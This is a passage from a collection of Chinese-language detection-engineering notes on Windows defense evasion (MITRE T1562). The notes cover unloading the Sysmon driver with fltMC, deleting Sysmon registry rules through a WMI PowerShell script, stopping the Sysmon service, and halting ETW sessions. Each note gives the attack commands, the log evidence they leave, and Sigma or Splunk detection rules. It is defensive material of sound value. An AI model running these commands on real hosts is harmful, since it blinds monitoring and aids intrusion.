将防火墙禁用与其他可疑行为（如网络连接、文件下载、提权）关联，识别攻击链。\n   - 例如，检测禁用防火墙后是否出现异常的C2通信。\n\n6. **限制高危操作**：\n   - 使用AppLocker或组策略限制`netsh.exe`和`net.exe`的执行，仅允许特定管理账户使用。\n   - 配置防火墙服务（`mpssvc`）为自动启动，防止手动停止。\n\n7. **响应措施**：\n   - 检测到防火墙禁用后，立即恢复防火墙（`netsh advfirewall set allprofiles state on`或`net start mpssvc`）。\n   - 调查攻击来源，检查是否有后续恶意活动。\n\n8. **测试与验证**：\n   - 在测试环境中模拟禁用防火墙，验证检测规则有效性。\n   - 调整规则阈值，排除合法管理员操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1562.001  \n  <https://attack.mitre.org/techniques/T1562/001/>\n- Microsoft文档：netsh advfirewall命令  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall>\n- Atomic Red Team T1562.001  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1562.001-Win-卸载安全工具使用的驱动程序-fltMC.exe(白名单).md",
    "content": "# T1562.001-Win-卸载安全工具使用的驱动程序-fltMC.exe（白名单）\n\n## 描述\n\n攻击者可能通过禁用或干扰防御机制来规避检测（MITRE ATT&CK T1562.001）。这包括阻止监测软件捕获告警、阻止事件日志的收集和分析，或卸载安全工具依赖的组件。攻击者可能修改安全软件的配置文件、注册表项，或停止事件转发进程（如Splunk转发器、Filebeat、Rsyslog）以逃避追踪。\n\n一种常见技术是**卸载安全产品依赖的内核模式微筛选器驱动程序（Minifilter Driver）**，如Sysmon、EDR或防病毒软件的驱动。这些驱动用于监控文件系统、进程创建、注册表操作等关键活动。卸载它们可显著削弱或完全禁用安全工具的检测能力，为攻击者创建低检测环境。\n\nWindows内置的`fltMC.exe`工具可用于管理微筛选器驱动程序，包括加载、卸载、附加或分离驱动。攻击者可能滥用此工具卸载安全驱动，以规避防御。\n\n## 测试案例\n\n### 测试1：使用fltMC.exe卸载Sysmon驱动\n\n`fltMC.exe`是Windows Vista及以上版本内置的命令行工具，位于`C:\\Windows\\System32\\fltMC.exe`，用于管理微筛选器驱动程序。攻击者可利用其`unload`命令卸载安全工具的驱动，如Sysmon的`SysmonDrv`。\n\n**攻击命令**（需以管理员权限在命令提示符中运行）：\n```cmd\nfltMC.exe unload SysmonDrv\n```\n\n**说明**：\n- 命令尝试卸载Sysmon的微筛选器驱动`SysmonDrv`。\n- 成功卸载将禁用Sysmon的监控功能。\n- 需管理员权限执行。\n\n**清理命令**（若需恢复Sysmon）：\n```cmd\nsc start Sysmon\n```\n\n**用例**：防御规避  \n**所需权限**：管理员  \n**操作系统**：Windows Vista、7、8、8.1、10、11、Server 2008+  \n\n## 检测日志\n\n- **Windows安全日志**：通过Event ID 4688（进程创建）记录`fltMC.exe`的执行（需启用进程跟踪审核）。\n- **Sysmon日志**：通过Event ID 1（进程创建）捕获详细的命令行参数和父进程信息。\n\n## 测试复现\n\n### 测试1：尝试卸载Sysmon驱动\n\n**测试环境**：Windows 10（未安装Sysmon）\n\n**攻击命令**：\n```cmd\nC:\\Windows\\system32>fltMC.exe unload SysmonDrv\n\n卸载失败，出现错误: 0x801f0013\n系统无法找到指定的筛选器。\n```\n\n**结果**：\n- 由于测试机未安装Sysmon，卸载失败并返回错误代码`0x801f0013`。\n- 尽管失败，`fltMC.exe`的执行仍生成进程创建日志，留下可检测的痕迹。\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: SYSTEM\n计算机: DESKTOP-PT656L6\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: DESKTOP-PT656L6\\liyang\n  帐户名: liyang\n  帐户域: DESKTOP-PT656L6\n  登录 ID: 0x470C5\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0xea4\n  新进程名称: C:\\Windows\\System32\\fltMC.exe\n  令牌提升类型: %%1937 (TokenElevationTypeFull)\n  强制性标签: Mandatory Label\\High Mandatory Level\n  创建者进程 ID: 0x1acc\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: fltMC.exe unload SysmonDrv\n```\n\n**分析**：\n- 日志记录了`fltMC.exe`的执行，命令行明确包含`unload SysmonDrv`，表明卸载尝试。\n- 父进程为`cmd.exe`，提示通过命令提示符触发。\n- 即使卸载失败，日志仍可用于检测。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测fltMC.exe卸载安全驱动\ndescription: Detects execution of fltMC.exe with unload command targeting security tool drivers, such as SysmonDrv.\nid: 4d7cda18-1b12-4e52-b45c-d28653210df8\nstatus: experimental\nauthor: Kirill Kiryanov, oscd.community\ndate: 2019/10/23\nmodified: 2023/10/01\nreferences:\n  - https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon\n  - https://attack.mitre.org/techniques/T1562/001/\ntags:\n  - attack.defense_evasion\n  - attack.t1562.001\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\fltMC.exe'\n    CommandLine|contains:\n      - 'unload'\n      - 'sys' # 匹配SysmonDrv等驱动\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - Legitimate driver management by developers or administrators in test environments\nlevel: high\n```\n\n**规则说明**：\n- 检测`fltMC.exe`执行时命令行包含`unload`和`sys`（匹配`SysmonDrv`等驱动）的进程创建事件。\n- 覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法驱动管理操作的误报。\n\n### 建议\n\n1. **监控fltMC执行**：\n   - 使用Sysmon（Event ID 1）捕获`fltMC.exe`的进程创建事件，检查命令行是否包含`unload`和安全驱动名称（如`SysmonDrv`、`AvDriver`）。\n   - 关注非管理员用户或非预期环境（如生产服务器）运行`fltMC.exe`的行为。\n\n2. **收集安全驱动名称**：\n   - 维护环境中使用的安全产品驱动列表（如Sysmon、CrowdStrike、SentinelOne的驱动），将其纳入检测规则。\n   - 定期更新规则以覆盖新部署的EDR或防病毒驱动。\n\n3. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数（需Windows 7+支持）。\n   - 确保Sysmon配置包含命令行和父进程信息。\n\n4. **权限监控**：\n   - `fltMC.exe`卸载驱动需要管理员权限，监控非预期账户（如普通用户账户）尝试执行`fltMC.exe`的行为。\n   - 检测失败的卸载尝试（错误代码`0x801f0013`等），可能是攻击者进行权限探测。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测`fltMC.exe`异常执行。\n   - 设置高优先级告警，针对`unload`操作涉及安全驱动的命令。\n\n6. **行为链关联**：\n   - 将`fltMC.exe`执行与其他可疑行为（如提权、文件删除、网络连接）关联，识别攻击链。\n   - 例如，检测卸载驱动后是否出现异常的进程创建或C2通信。\n\n7. **限制fltMC使用**：\n   - 使用AppLocker或组策略限制`fltMC.exe`的执行，仅允许在特定管理场景下运行。\n   - 监控未经授权的`fltMC.exe`调用。\n\n8. **测试与验证**：\n   - 在测试环境中模拟卸载安全驱动（如SysmonDrv），验证检测规则有效性。\n   - 调整规则阈值，排除合法开发或管理操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1562.001  \n  <https://attack.mitre.org/techniques/T1562/001/>\n- 如何规避Sysmon  \n  <https://www.anquanke.com/post/id/161630>\n- LOLBAS：fltMC.exe  \n  <https://lolbas-project.github.io/lolbas/Binaries/FltMC/>\n- Microsoft文档：微筛选器开发工具  \n  <https://docs.microsoft.com/zh-cn/windows-hardware/drivers/ifs/development-and-testing-tools>\n- Atomic Red Team T1562.001  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1562.001-Win-绕过Sysmon.md",
    "content": "# T1562.001-Win-绕过Sysmon\n\n## 描述\n\n攻击者可能通过禁用或干扰防御机制来规避检测（MITRE ATT&CK T1562.001）。这包括阻止监测软件捕获告警、阻止事件日志收集和分析，或修改安全工具配置以逃避追踪。针对**Sysmon**（Microsoft Sysinternals的强大系统监控工具），攻击者可能通过以下方式绕过其检测能力：\n\n- 删除或修改Sysmon的配置规则，使其停止记录关键事件。\n- 卸载Sysmon的微筛选器驱动程序（如`SysmonDrv`），禁用其核心监控功能。\n- 停止或禁用Sysmon服务，阻止其运行。\n\n成功绕过Sysmon将显著降低防御方的主机活动可见性，为攻击者提供更大的操作空间，例如执行恶意代码、提权或横向移动，而不被记录。\n\n## 测试案例\n\n### Sysmon检测与绕过背景\n\nSysmon（最新版本10.x+）通过内核模式驱动（`SysmonDrv`）监控进程创建、文件操作、注册表修改、网络连接等活动。其配置存储在注册表（如`HKLM\\SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters`）或配置文件中。攻击者可能通过以下方式检测Sysmon存在并尝试绕过：\n\n**检测Sysmon存在**：\n- **枚举进程**：查找`Sysmon.exe`或`Sysmon64.exe`。\n- **枚举服务**：查找`Sysmon`服务（`sc query Sysmon`）。\n- **枚举驱动**：检查`C:\\Windows\\System32\\Drivers\\SysmonDrv.sys`或使用`fltmc.exe`查看微筛选器驱动（Sysmon的Altitude编号为**385201**）。\n- **工具辅助**：如Mimikatz的`misc::mflt`命令，显示微筛选器信息。\n\n**注意**：Sysmon支持模糊处理其可执行文件和驱动名称，增加检测难度，但Altitude编号（385201）为固定标识。\n\n**绕过Sysmon的方法**：\n1. **删除配置项**：删除注册表中的Sysmon规则（如`Rules`键），使其恢复默认配置或失效。\n2. **卸载SysmonDrv驱动**：使用`fltMC.exe`卸载`SysmonDrv`，禁用监控。\n3. **停止Sysmon服务**：通过`net stop`或任务管理器停止`Sysmon`服务。\n\n### 测试1：删除Sysmon配置项\n\n攻击者通过WMI临时Consumer监控并删除Sysmon配置规则，临时禁用其自定义检测能力。\n\n**攻击命令**（PowerShell，需管理员权限）：\n```powershell\n$query = \"SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SYSTEM\\\\CurrentControlSet\\\\Services\\\\SysmonDrv\\\\Parameters'\"\nRegister-WMIEvent -Query $query -Action {\n    Write-Host \"Sysmon config updated, deleting config.\"\n    Remove-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters\" -Name \"Rules\"\n}\n```\n\n**说明**：\n- 创建WMI临时Consumer，监控Sysmon配置注册表路径。\n- 当`Rules`键被修改时，自动删除，Sysmon恢复默认配置（仅记录基本事件，如进程创建/终止）。\n- 失效时间取决于配置管理方式（如GPO、Ansible）。\n\n### 测试2：卸载SysmonDrv驱动\n\n使用`fltMC.exe`卸载Sysmon微筛选器驱动，禁用其监控功能。\n\n**攻击命令**（需管理员权限）：\n```cmd\nfltMC.exe unload SysmonDrv\n```\n\n**验证命令**：\n```cmd\nfltMC.exe\n```\n\n### 测试3：停止Sysmon服务\n\n通过命令行或任务管理器停止Sysmon服务。\n\n**攻击命令**（需管理员权限）：\n```cmd\nnet stop Sysmon\n```\n\n## 检测日志\n\n- **Windows安全日志**：Event ID 4688（进程创建），记录`fltMC.exe`或`net.exe`执行。\n- **Sysmon日志**：\n  - Event ID 1（进程创建），记录攻击命令执行。\n  - Event ID 12/13/14（注册表操作），记录Sysmon配置修改。\n  - Event ID 255（错误事件），记录驱动通信失败。\n  - Event ID 4（服务状态变更），记录Sysmon服务停止。\n- **Windows系统日志**：Event ID 7036/7040/7034（服务控制管理器），记录服务停止或启动类型变更。\n- **Windows-WMI-Activity日志**：Event ID 5860（WMI Consumer注册），记录WMI临时Consumer创建。\n\n## 测试复现\n\n### 测试1：删除Sysmon配置项\n\n**测试环境**：Windows Server 2019，Sysmon已安装\n\n**攻击命令**：\n```powershell\n$query = \"SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SYSTEM\\\\CurrentControlSet\\\\Services\\\\SysmonDrv\\\\Parameters'\"\nRegister-WMIEvent -Query $query -Action {\n    Write-Host \"Sysmon config updated, deleting config.\"\n    Remove-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters\" -Name \"Rules\"\n}\n```\n\n**结果**：\n- WMI Consumer成功注册，监控Sysmon配置。\n- 触发注册表修改后，`Rules`键被删除，Sysmon恢复默认配置，停止记录自定义规则事件。\n- 日志中记录WMI Consumer创建和注册表删除操作。\n\n### 测试2：卸载SysmonDrv驱动\n\n**测试环境**：Windows Server 2019，Sysmon已安装\n\n**攻击命令**：\n```cmd\nC:\\Users\\Administrator>fltMC.exe\n筛选器名称        数字实例  高度     框架\n------------------------------  -------------  ------------  -----\nSysmonDrv              2      385201    0\nluafv                  1      135000    0\n\nC:\\Users\\Administrator>fltMC.exe unload SysmonDrv\n\nC:\\Users\\Administrator>fltMC.exe\n筛选器名称        数字实例  高度     框架\n------------------------------  -------------  ------------  -----\nluafv                  1      135000    0\n```\n\n**结果**：\n- `SysmonDrv`成功卸载，Sysmon监控功能失效。\n- Sysmon日志记录错误（Event ID 255），表明驱动通信失败。\n\n### 测试3：停止Sysmon服务\n\n**测试环境**：Windows Server 2019，Sysmon已安装\n\n**攻击命令**：\n```cmd\nC:\\Users\\Administrator>net stop Sysmon\nSysmon 服务正在停止.\nSysmon 服务已成功停止。\n```\n\n**结果**：\n- Sysmon服务停止，监控功能暂停。\n- 系统日志记录服务状态变更（Event ID 7036）。\n\n## 测试留痕\n\n### 测试1：删除配置项\n\n**Windows-WMI-Activity日志（Event ID 5860：WMI Consumer注册）**：\n```xml\n日志名称: Microsoft-Windows-WMI-Activity/Operational\n来源: Microsoft-Windows-WMI-Activity\n日期: 2023/10/27 10:00:00\n事件 ID: 5860\n任务类别: None\n级别: 信息\n用户: SYSTEM\n计算机: YourHost\n描述:\nWMI Event Consumer registered:\nNamespace: root\\cimv2\nNotificationQuery: SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SYSTEM\\\\CurrentControlSet\\\\Services\\\\SysmonDrv\\\\Parameters'\nPossibleCause: Temporary\n```\n\n**Sysmon日志（Event ID 13：注册表值修改）**：\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/27 10:00:01\n事件 ID: 13\n任务类别: Registry value set (rule: RegistryEvent)\n级别: 信息\n用户: SYSTEM\n计算机: YourHost\n描述:\nRegistry value set:\nRuleName: technique_id=T1562.001,technique_name=Impair Defenses\nEventType: Set\nUtcTime: 2023-10-27 02:00:01.123\nProcessGuid: {12345678-1234-5678-1234-567890123456}\nProcessId: 1234\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\nTargetObject: HKLM\\SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters\\Rules\nDetails: Deleted\n```\n\n### 测试2：卸载SysmonDrv驱动\n\n**Windows安全日志（Event ID 4688：进程创建）**：\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/27 10:30:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: SYSTEM\n计算机: DESKTOP-PT656L6\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: DESKTOP-PT656L6\\liyang\n  帐户名: liyang\n  帐户域: DESKTOP-PT656L6\n  登录 ID: 0x470C5\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0xea4\n  新进程名称: C:\\Windows\\System32\\fltMC.exe\n  令牌提升类型: %%1937\n  强制性标签: Mandatory Label\\High Mandatory Level\n  创建者进程 ID: 0x1acc\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: fltMC.exe unload SysmonDrv\n```\n\n**Sysmon日志（Event ID 255：错误事件）**：\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/27 10:30:00\n事件 ID: 255\n任务类别: Error\n级别: 错误\n用户: SYSTEM\n计算机: YourHost\n描述:\nFailed to retrieve events - Last error: 由于线程退出或应用程序请求，已中止I/O操作。\nID: DriverCommunication\n```\n\n### 测试3：停止Sysmon服务\n\n**Windows系统日志（Event ID 7036：服务状态变更）**：\n```xml\n日志名称: System\n来源: Service Control Manager\n日期: 2023/10/27 10:35:00\n事件 ID: 7036\n任务类别: None\n级别: 信息\n用户: N/A\n计算机: YourHost\n描述:\nSysmon 服务处于 停止 状态。\n```\n\n**Sysmon日志（Event ID 4：服务状态变更）**：\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/27 10:35:00\n事件 ID: 4\n任务类别: Sysmon service state changed\n级别: 信息\n用户: SYSTEM\n计算机: YourHost\n描述:\nSysmon service state changed:\nState: Stopped\n```\n\n## 检测规则/思路\n\n### Sigma规则\n\n#### 1. 检测WMI临时Consumer删除Sysmon配置\n\n```yaml\ntitle: 删除Sysmon配置项 - WMI临时Consumer检测\ndescription: Detects creation of WMI temporary Consumer to monitor and delete Sysmon configuration rules.\nstatus: experimental\ndate: 2023/10/27\nreferences:\n  - https://attack.mitre.org/techniques/T1562/001/\nlogsource:\n  product: windows\n  service: wmi-activity\ndetection:\n  selection:\n    EventID: 5860\n    NotificationQuery|contains: 'RegistryKeyChangeEvent WHERE Hive=''HKEY_LOCAL_MACHINE'' AND KeyPath=''SYSTEM\\\\CurrentControlSet\\\\Services\\\\SysmonDrv\\\\Parameters'''\n    PossibleCause: Temporary\n  condition: selection\nfields:\n  - NotificationQuery\n  - PossibleCause\nfalsepositives:\n  - Legitimate administrative WMI scripts\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1562.001\n```\n\n#### 2. 检测卸载SysmonDrv驱动\n\n```yaml\ntitle: 检测fltMC卸载Sysmon驱动\ndescription: Detects use of fltMC.exe to unload Sysmon driver, combined with Sysmon error logs.\nstatus: experimental\ndate: 2023/10/27\nreferences:\n  - https://attack.mitre.org/techniques/T1562/001/\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection_fltmc:\n    EventID: 1\n    Image|endswith: '\\fltMC.exe'\n    CommandLine|contains:\n      - 'unload'\n      - 'Sysmon'\n  selection_error:\n    EventID: 255\n    ID: DriverCommunication\n    Description|contains: 'Failed to retrieve events'\n  timeframe: 1m\n  condition: selection_fltmc and selection_error\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\nfalsepositives:\n  - Legitimate driver management by administrators\nlevel: critical\ntags:\n  - attack.defense_evasion\n  - attack.t1562.001\n```\n\n#### 3. 检测停止Sysmon服务\n\n```yaml\ntitle: 检测Sysmon服务停止或禁用\ndescription: Detects stopping or disabling of Sysmon service via service control manager or Sysmon logs.\nstatus: experimental\ndate: 2023/10/27\nreferences:\n  - https://attack.mitre.org/techniques/T1562/001/\nlogsource:\n  product: windows\n  service: system\ndetection:\n  selection_system:\n    EventID:\n      - 7036\n      - 7040\n      - 7034\n    EventData|contains:\n      - 'Sysmon 服务处于 停止 状态'\n      - 'Sysmon64 服务的启动类型'\n      - 'Sysmon 服务意外终止'\n  selection_sysmon:\n    EventID: 4\n    State: Stopped\n  condition: selection_system or selection_sysmon\nfields:\n  - EventID\n  - EventData\nfalsepositives:\n  - Legitimate administrative service management\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1562.001\n```\n\n### 建议\n\n1. **多源日志关联**：\n   - 结合Windows安全日志、系统日志、Sysmon日志和WMI-Activity日志，全面监控Sysmon绕过行为。\n   - 重点关注`fltMC.exe`执行、WMI Consumer创建、注册表修改和服务状态变更。\n\n2. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数。\n   - 确保Sysmon配置捕获命令行、注册表和WMI事件。\n\n3. **WMI审计**：\n   - 启用WMI-Activity日志，监控Event ID 5860，检测临时Consumer的异常注册。\n   - 检查WMI查询是否针对Sysmon配置路径。\n\n4. **基线化行为**：\n   - 建立`fltMC.exe`、`net.exe`和Sysmon服务的正常使用基线，识别异常操作。\n   - 生产环境中停止Sysmon服务或卸载驱动应极为罕见。\n\n5. **告警优先级**：\n   - 将Sysmon绕过行为（如卸载驱动、停止服务）设置为**高危**或**关键**级别，触发即时告警。\n   - 快速响应以恢复Sysmon功能并调查攻击来源。\n\n6. **健全性检查**：\n   - 定期验证Sysmon服务状态（`sc query Sysmon`）、驱动存在（`fltMC.exe`）和配置完整性。\n   - 使用自动化脚本检查`HKLM\\SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters\\Rules`是否存在。\n\n7. **限制高危操作**：\n   - 使用AppLocker或组策略限制`fltMC.exe`和`net.exe`的执行，仅允许特定管理账户使用。\n   - 监控非管理员账户尝试执行高权限操作。\n\n8. **测试与验证**：\n   - 在测试环境中模拟Sysmon绕过（如删除配置、卸载驱动），验证检测规则有效性。\n   - 调整规则阈值，排除合法管理操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1562.001  \n  <https://attack.mitre.org/techniques/T1562/001/>\n- 如何规避Sysmon  \n  <https://www.anquanke.com/post/id/161630>\n- 检测Sysmon存在的分析  \n  <https://anquan.baidu.com/article/350>\n- Windows日志审核策略  \n  <https://www.malwarearchaeology.com/logging>\n- Atomic Red Team T1562.001  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1562.006-Win-停止日志采集.md",
    "content": "# T1562.006-Win-停止日志采集\n\n## 描述\n\n攻击者可能试图阻止通常由日志审计策略（日志转发器）捕获的日志或事件被收集和分析。这可能包括恶意篡改或通过篡改控制事件遥测收集和流程的设置来禁用基于主机的传感器，例如**Windows事件跟踪(ETW)**。这些设置可以存储在系统中的配置文件中或注册表中，也可以通过管理实用程序（例如PowerShell或Windows Management Instrumentation (WMI)）进行访问。\n\nETW中断可以通过多种方式实现，但最直接的方法是使用PowerShell的`Set-EtwTraceProvider` cmdlet定义条件，或者直接修改相关的注册表项。攻击者可能会利用此技术阻止安全工具或系统服务记录关键的活动日志，从而隐藏其恶意行为，使安全分析和事件响应变得更加困难。\n\n在基于网络的指标报告中，攻击者可能会阻止与报告相关的流量，以防止进行集中分析。这可以通过多种方式来完成，例如停止负责转发数据的本地进程，或者创建基于主机的防火墙规则以阻止流量流向负责汇总事件的特定主机，例如安全信息和事件管理（SIEM）产品。\n\n**注释：**ETW是Event Tracing for Windows的简称，它是Windows提供的原生的事件跟踪日志系统。由于采用内核（Kernel）层面的缓冲和日志记录机制，所以ETW提供了一种非常高效的事件跟踪日志解决方案。许多系统组件和应用程序都依赖ETW来记录性能、诊断和安全事件。\n\n## 测试案例\n\n目前没有具体的测试案例，但可以参考以下几种方法来模拟攻击者停止日志采集的行为：\n\n1.  **禁用Sysmon服务或修改其配置：** 攻击者可能会尝试停止Sysmon服务（`net stop Sysmon`），或者修改其配置文件以停止特定事件的收集。\n2.  **通过注册表禁用ETW提供程序：** 攻击者可以直接修改注册表，禁用或移除特定的ETW事件提供程序，使其不再生成日志。例如，修改`HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger`下的键值。\n3.  **使用PowerShell修改ETW会话：** 攻击者可以使用`Set-EtwTraceProvider`或`Stop-Trace`等PowerShell cmdlet来停止正在运行的ETW跟踪会话。\n4.  **禁用Windows事件日志服务：**虽然更具破坏性，但攻击者可能尝试停止或禁用Windows Event Log服务。\n5.  **修改本地防火墙规则阻止日志转发：**如果日志通过网络转发到SIEM，攻击者可能添加防火墙规则来阻止端口或IP地址的流量。\n6.  **终止日志转发进程：**识别并将负责日志转发的进程终止。\n\n## 检测日志\n\n* Windows Sysmon日志\n* Windows 安全日志\n* Windows 系统日志\n\n## 测试复现\n\n由于没有现成的测试案例，这里提供一些模拟攻击者行为的命令示例，用于生成相应的测试留痕。\n\n**1.尝试停止Sysmon服务（需要管理员权限）：**\n\n```bash\nnet stop Sysmon\n```\n\n**2.修改Sysmon配置（假设Sysmon.xml是配置文件路径，实际中攻击者会编辑该文件）：**\n\n攻击者需要先找到Sysmon配置文件，然后修改它，例如删除或禁用某些事件规则。之后可能需要重启Sysmon服务使配置生效。\n\n**3.使用`logman.exe`停止ETW跟踪会话：**\n\n首先查看现有跟踪会话：\n\n```bash\nlogman query\n```\n\n假设有一个名为`MyTraceSession`的会话，攻击者可以停止它：\n\n```bash\nlogman stop MyTraceSession\n```\n\n**4.使用`wpr.exe`（Windows Performance Recorder）停止跟踪：**\n\n`wpr.exe`可以用于启动和停止ETW跟踪。攻击者可能会用它来停止某个正在运行的系统跟踪会话。\n\n## 测试留痕\n\n攻击者停止日志采集的行为会在Windows Sysmon日志和系统日志中留下痕迹。\n\n### Windows Sysmon\n\n  * **Sysmon Event ID 16（Sysmon Configuration Change）：** 如果攻击者修改了Sysmon的配置文件并使其生效，Sysmon会记录此事件。\n  * **Sysmon Event ID 1（Process Creation）：** 当`net.exe`、`sc.exe`（服务控制）、`logman.exe`、`powershell.exe`等工具被用于停止服务或修改ETW配置时，会生成进程创建事件。\n  * **Sysmon Event ID 12/13（Registry Event - Object created/deleted/modified）：** 对ETW相关注册表键（如`HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\*`或`HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Publishers\\*`）的修改会生成注册表事件。\n\n**示例Sysmon Event ID 16日志：**\n\n```xml\n<Event xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\">\n  <System>\n    <Provider Name=\"Microsoft-Windows-Sysmon\" Guid=\"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}\" />\n    <EventID>16</EventID>\n    <Version>2</Version>\n    <Level>4</Level>\n    <Task>16</Task>\n    <Opcode>0</Opcode>\n    <Keywords>0x8000000000000000</Keywords>\n    <TimeCreated SystemTime=\"2023-10-27T10:00:00.000000000Z\" />\n    <EventRecordID>12345</EventRecordID>\n    <Correlation />\n    <Execution ProcessID=\"1234\" ThreadID=\"5678\" />\n    <Channel>Microsoft-Windows-Sysmon/Operational</Channel>\n    <Computer>YourHost</Computer>\n    <Security UserID=\"S-1-5-18\" />\n  </System>\n  <EventData>\n    <Data Name=\"ConfigurationHash\">...</Data>\n    <Data Name=\"Configuration\">...</Data> </EventData>\n</Event>\n```\n\n### Windows 系统日志\n\n* **Event ID 7036 (Service Control Manager):** 当服务（如Sysmon服务或Windows Event Log服务）启动或停止时，系统日志中会记录此事件。\n* **Event ID 7040 (Service Control Manager):** 当服务启动类型发生变化时（例如，从自动改为禁用），此事件会被记录。\n\n## 检测规则/思路\n\n从主机日志转发器检测到缺少告警或者日志的活动。不同的阻止方法可能会导致转发中断。系统可能突然停止报告所有数据或仅报告某些种类的数据。\n\n根据收集到的主机信息的类型，分析人员可能能够检测到触发了进程停止或连接被阻止的事件。\n\n### Splunk规则\n\n```yml\n# 监测Sysmon配置更改或对ETW相关注册表键的修改，以及logman.exe和wpr.exe的使用\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (\n  (EventCode=16) # Sysmon配置已更改\n  OR (EventCode IN (12,13) TargetObject=\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger*\") # ETW Autologger注册表修改\n  OR (EventCode=1 Image=\"*\\\\logman.exe\" CommandLine=\"*stop trace*\" OR CommandLine=\"*delete trace*\") # logman.exe停止或删除跟踪\n  OR (EventCode=1 Image=\"*\\\\wpr.exe\" CommandLine=\"*stop*\") # wpr.exe停止跟踪\n  OR (EventCode=1 Image=\"*\\\\sc.exe\" CommandLine=\"*stop*Sysmon*\" OR CommandLine=\"*config*Sysmon*start*= disabled*\") # 停止或禁用Sysmon服务\n  OR (EventCode=1 Image=\"*\\\\net.exe\" CommandLine=\"*stop*Sysmon*\") # 停止Sysmon服务\n)\n\n# 监测ETW枚举行为（攻击者在修改前可能先查询）\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (\n  (EventCode=1 Image=\"*\\\\logman.exe\" CommandLine=\"*query*\") # logman.exe查询ETW会话\n  OR (EventCode IN (12,13) TargetObject=\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WINEVT\\\\Publishers*\") # 枚举ETW发布者注册表\n)\n```\n\n### Sigma规则\n\n```yml\ntitle: Attempt to Stop Log Collection\nid: 5a8b7c9d-1e2f-3g4h-5i6j-7k8l9m0n1o2p\nstatus: experimental\ndescription: Detects attempts to stop or tamper with log collection mechanisms, including Sysmon service manipulation, ETW configuration changes, or use of logging utilities.\ndate: 2023/06/15\nlogsource:\n  product: windows\n  service: sysmon # Focus on Sysmon for comprehensive activity\ndetection:\n  # Rule to detect Sysmon service manipulation or config changes\n  sysmon_service_tampering:\n    EventID: 1\n    Image|endswith:\n      - '\\sc.exe'\n      - '\\net.exe'\n    CommandLine|contains:\n      - 'stop Sysmon'\n      - 'config Sysmon start= disabled'\n  sysmon_config_change:\n    EventID: 16 # Sysmon Configuration Change\n  # Rule 